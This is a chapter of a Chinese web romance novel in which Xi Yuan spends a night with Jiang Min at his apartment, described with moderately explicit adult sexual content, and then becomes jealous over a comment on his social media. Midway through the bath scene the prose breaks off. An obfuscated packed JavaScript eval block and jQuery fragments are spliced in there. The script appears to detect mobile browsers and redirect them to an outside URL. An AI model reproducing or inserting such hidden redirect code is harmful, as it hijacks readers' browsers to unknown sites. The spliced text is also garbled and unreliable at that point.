74. 可

作品:《豢养夜莺

    电话另一边明显沉默。


    心跳节拍增强,她等待着那个答案。她知道江悯不会拒绝,虽然他答应得也挺勉强,这个勉强程度可以用这长达五秒的沉默时间来衡量:“发位置。”


    奚元得逞笑笑,他道:“少来。”


    ——少来。


    “江悯,你好装。你和以前那会儿,”她顿一顿,指的是刚进小说里那会儿,直接说出来似乎有些怪,毕竟是超出常理的事,但这么说江悯一定懂,“……你和以前那会儿,还没和我在一起的时候一样装。”


    只是这么一停顿,她这句话原本的气势大大减弱。


    听起来江悯不在外面,大概在换衣服准备出门了。


    对她这番话不予置评,他说:“二十分钟之后到。”


    奚元又从戴妃包包里摸出小镜子、粉底与唇釉,略微补一补妆,看看镜中那张无论在哪儿都能大杀四方的脸,相当满意。何况她又回到了风华正茂的二十三岁。


    忽然想到在小说里的最后一段时间,她一直浑浑噩噩。那时的确没有记忆,但后来清醒时它们都回来了;那时的行为也不像自己的,她竟然会由衷夸赞向江悯搭讪的女孩。但她记忆最深刻的是江悯温柔的声音:“谁说这话都不该你说吧,奚元?你在国内可是一线明星,你知不知道?”


    “我看到你的第一眼,比见到任何人时都惊艳一万倍。”


    他怎么会说出这么肉麻的话。


    也是,当时的情境和现在实在不同。但光是想到那些话,奚元就忍不住笑。她现在真和思春少女没两样了。


    她再次认真地看着镜子中自己面容,是微醺感没错。确保再没有任何瑕疵,她才恋恋不舍地收起小镜子,坐位置上发呆,营造出喝断片的感觉。也像是幼儿园小朋友等待着家长来接自己放学。


    江悯时间挺准。


    进了清吧,他没多逗留,找到奚元后直接拍拍她后肩。


    奚元没看见江悯来,坐在那儿都快睡过去,还以为是哪个变态觊觎她容貌公然揩油,吓得一激灵。


    “这么敏感?”


    她向后仰起头,看见江悯那张似笑非笑的脸。


    满满的嘲笑。


    “不然呢?”她拿起包包,愤愤不平起身,“我怎么知道是你?难道江老板那么大方,可以随便给别人摸吗?”


    这么一说,她倒有点燥热。


    难道她现在正处于什么特殊时期,是身上的什么激素突然分泌过多么。


    她随江悯离开清吧,上车。


    坐上副驾,她铿锵有力地说出四个字:“我,不,回,家。”


    江悯看她一眼。


    她又暗暗用手卷裙摆:“我总不能这么晚喝得醉醺醺回家吧,那不得被我妈骂死?而且我已经提前和她说了,我今晚住朋友家,不回去。”


    江悯启动车,又看她一眼:“你提前和你母亲说好在朋友家住,然后在外面喝了酒,二十分钟前突然给我打电话?”


    这不就说明一切都是她谋划好的。


    奚元反应很快:“是啊,本来就是那么计划的,在我朋友家住,然后和她出来小酌几杯。只是我朋友突然有事,被她男朋友给叫走了,想出去过个夜,我有点郁闷,不小心又喝了几杯喝多了,正不知该怎么办呢……”


    她当然知道江悯会一眼看破她在胡说八道。但她还是硬着头皮、一本正经地胡说八道着。


    心虚地看一眼江悯,他开车开得专心,但笑不语。


    装吧,你就使劲装吧。奚元在心里默默想。


    反正她今天非要达到目的不可。


    而她可能确实喝多了酒,在车上坐着,慢慢昏沉起来,于是闭上眼小睡片刻。再醒是被江悯给叫醒的,她看着熟悉的停车场,有些恍惚。


    眼前情景和之前小说里一模一样。


    是江悯那座位于北城的公寓,连同停车场的停车位位置都相同。她看向江悯,不可置信,他说:“走吧。”


    乘电梯进公寓内部,黑白灰三色的轻奢风格,门口鞋柜上专用来放置车钥匙的小盒子、香薰……她曾在这里格外留意过的细节,她曾在这里生活过所熟悉的任何一个角落,都与之前一样。


    她站在门口,面对眼前景象,呆住。只是这里还没有留下她任何痕迹,包括后来她与江悯去购置的两双专属于她的拖鞋,分别适合夏季与冬季穿。


    就像上天给他们开了个小小玩笑,拨转了控制时间的旋钮,将一切都转回原点,除了为他们两留下的记忆。


    江悯站在她身后,没有催她。


    任她慢慢反应。她轻轻问:“江悯,你还想和我过这样的生活吗?”


    他说:“想。”


    “好吧,但是我知道,这不是一朝一夕就能做到的事。”就比如今天,她哪怕出来留宿一晚,也要经过一番精心酝酿才能应付过家人与钟瑶。


    并且才从上一个世界回到现实,周围的一切都发生翻天覆地变化,他们心里都还是乱,所以奚元挺知足,这样还能和江悯见几面、相处一段时间她就已经很开心了。这些能和小说里重合上的细节都让她动容。


    还有江悯一个确切的答案。


    “我先随便穿一双拖鞋喔。”


    她弯下腰,从鞋柜里拿了双灰色的一次性拖鞋,拆开。江悯也进了屋:“哪天一起抽空去逛个超市吧。”


    “好。”


    “哎,等等,那你的意思是……”奚元边穿拖鞋边思考,知道江悯指的是届时去超市买两双专属于她的拖鞋,或许还有其他她所能用到的生活物品,而这是不是就意味,他默认她会隔三差五来住一下下。江悯说:“但下次提前和我说。”


    “喔,好。”


    “你现在是有准未婚夫的人。”


    他突然冒出这么一句话,奚元懵懵地看向他。


    她都忘了。


    然后她“噗嗤”一声笑了。


    “你笑什么?”他瞥她一眼,似乎不太有好气,向屋里走去。奚元摇摇头,没有说。


    她知道说了江悯一定会生气。


    她想说:看来你对这件事很耿耿于怀嘛,你是不是一直在吃醋?你吃醋的样子好可爱。然后她脑中忽然闪过一道光,想起曾经的自己。


    曾经那个在江悯眼皮底下偷偷摸摸想拿他手机,想解锁,想打听他未婚妻的自己……


    他那时似乎也觉得没什么,可自己的心快被折磨得不行。


    “好了好了,我一身酒气,我先去洗个澡。”


    “饿不饿?”江悯问着,向厨房走去,“要是没记错,冰箱里还有些东西。”


    “等凌晨吃吧。”奚元说,“等凌晨累的时候吃。”


    说完她娇俏一笑,经过酒柜时,顺手挑了瓶葡萄酒,再拿走酒柜里开瓶器。


    没一会儿,江悯坐沙发上玩手机,就听浴室里传来奚元叫他的声音。他应一声,问她:“怎么?”奚元不答,只是喊他:“江悯,你过来一下!帮个忙。”


    浴室门推开。


    尚未来得及反应,江悯看见奚元站在满浴缸热水里,酮体雪白,披散下来的长卷发瀑布般柔软。她喊:“Surprise!”


    “砰”一声,她娴熟将一瓶红酒起开,一眯眼,葡萄红色的酒液从她头顶淋下,与白嫩肌肤形成很鲜明视觉冲击。


    瓶子里的酒还剩个底,她举向他:“来,别浪费了。”


    “……”


    这一刻再无所谓什么现实与克制,仿佛又回到以前,她就是他最爱的那个光鲜亮丽的小女孩。


    无关什么烂俗的失忆梗,无关他亲身经历她死过一次,无关那孤独的只剩下黑白二色的一年,无关这个世界里现实的家人与朋友,无关她那什么未婚夫……


    他关上身后的门,接过那瓶酒,一饮而尽。握住奚元后颈,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642995|148340||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将最后一点酒液渡进她嘴里,辛辣苦涩后微微甘甜。奚元的手也环过他脖颈,然后往下,熟练地从他腰腹将他T恤向上翻起。


    奚元心脏跳得厉害,江悯宽厚的手掌握住她侧腰,她几乎整个人僵住,江悯声音在她耳边沉沉的、热热的:“怎么像第一次一样?”


    “有没有可能……”


    她再说不出话,因为想发出的任何声音都被重重吐息声淹没。江悯握住她后腰,使两人紧紧相贴,那一刻感觉上升到极致。他跨入浴缸,红酒液融入水中已经蜿蜒扩散出一张瑰丽图幅,他将奚元掰转过身,按下去,这是他们在现实世界里第一次肌肤之亲。


    所以还不是被她给拿下了。奚元腹诽。


    晚上她躺在江悯宽阔卧室的床上,特别舒心,脸埋在深灰色厚实柔软的被子里,可能因为过度劳累而睡得很沉,根本顾不得之前说什么饿了吃饭的事。


    江悯在她身边坐着,看了会儿手机,又看了会儿她的睡颜,方才熄灯睡去。


    第二天奚元以一个“大”字形伸懒腰姿势起床,却无意踢到江悯。


    好像又不习惯身边有个人了,她发出一声“嗯?”的疑问。


    “起床了。”旁边响起江悯声音。


    她一瞬间睁眼。


    昨晚一幕幕刺激又温存的场面犹在眼前,使得她现在身上还发热。她立刻翻个身到江悯身边,抱住他,黏黏糊糊地在他面颊上亲一口。没想到他不再假正经,在她正回身时倾身压来,他身上竟然比她还烫,“等等……”


    这是奚元意料之外的情节。


    这个狗男人怎么给自己加戏?他是昨晚偷偷嗑了什么药么?她腹诽。


    脸上红晕渐重,奚元也只是心里吐槽而已,实际十分受用。


    四十分钟翻云覆雨,她又呈一个“大”字形躺在床上,声音虚弱:“不是说起床了吗……”


    阳光早已比之前更强烈,透过一层纱帘照得这整屋光洁明亮,似乎昭示着这又将是暑气鼎沸的一天,让人恨不能24小时泡在恒久24度的空调房里。


    奚元眯眼看江悯套上黑T,这动作行云流水真像个渣男。


    然后他侧回脸来看她一眼,向她伸出手:“走,去洗洗。”


    ……


    这就是他们曾经非常幸福的日常。


    但如今奚元还不是真正自由。这春宵苦短日高起的代价就是,梳洗干净后摸起手机,看了眼时间:10:47,她实在不敢面对解锁后那一番来自微信的消息轰炸。


    看完李女士从早上八点开始的质问:【起床了没?】【在钟瑶家吃了什么早饭?】【怎么还不回家?】【什么时候回家?】【还回不回家吃午饭了?】……她回复完,很泄气地和江悯说:“送我回家吧。”


    *


    世界上最痛苦的事莫过于夏日来姨妈。


    在江悯那儿得到满足,奚元也不介意在家休养几日。她几乎没下过床,李女士不在家时饭直接由林妈用小桌端到她床上。实在窝得腰酸背痛,她才会联系老师上门做一会儿瑜伽。


    她也经常看江悯各个社交平台上动态。


    他各平台都是私密账号,只有互相关注的人才能看见他动态并与他互动。她与他私会的第二天傍晚,他在抖音发了条由风景图片组成的视频,很高级,已经有七个赞。她纠结半天要不要给他点赞,会不会显得太关注他,要不也学他装一装高冷。


    刷着剧,和钟瑶一阵一阵聊着,偶尔看江悯抖音。忽然看见右侧评论区标志下面的数字变成——【2】。


    点开。


    昵称为一单字【笙】的女生说:【有空出来耍。[害羞]】


    江悯回复一个【可】的emoji。


    熟悉的感觉。


    脑袋里“嗡”的一下,宛如过山车突然脱轨。


    她想起那个看江悯手机看到杜锡红消息,被白光刺破的清晨。